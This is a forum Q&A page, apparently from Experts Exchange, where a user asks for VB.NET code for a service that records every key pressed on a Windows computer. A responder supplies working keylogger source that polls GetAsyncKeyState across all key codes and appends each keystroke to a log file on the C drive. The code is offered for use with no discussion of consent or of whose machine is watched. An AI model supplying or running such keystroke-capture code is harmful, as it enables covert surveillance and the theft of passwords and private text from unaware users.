Want to protect your cyber security and still get fast solutions? Ask a secure question today.Go Premium

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 211
  • Last Modified:

Keyboard Log

Hi
i want a windows service/offline application to Log(into text file) all Keys pressed from that computer. How i can acheive this in VB.NET?
source code will be helpfull...
0
Praveen Kumar
Asked:
Praveen Kumar
1 Solution
 
AndyAelbrechtCommented:
I'm sorry I don't have time to go into this, but this is a *very basic* keylogger:
It will make a c:\testkeys.log with all logged keys; thing is, this will also log all other keys and I *think* it also logs mouseclicks.

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim result As Integer
        Dim i As Integer

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            Debug.WriteLine(result)
            If result = -32767 Then
                Dim lw As IO.TextWriter
                lw = New IO.StreamWriter("c:\testkeys.log", True)
                lw.Write(Chr(i))
                lw.Close()
            End If
        Next i
    End Sub

It's not as nice as it should be, but it should help you on your way alot !
If you need more help, feel free to ask; I'll be back later and other experts will certainly be able to help you out aswell !

Cheers,
Andy
0

Featured Post

Get your problem seen by more experts

Be seen. Boost your question’s priority for more expert views and faster solutions

Tackle projects and never again get stuck behind a technical roadblock.
Join Now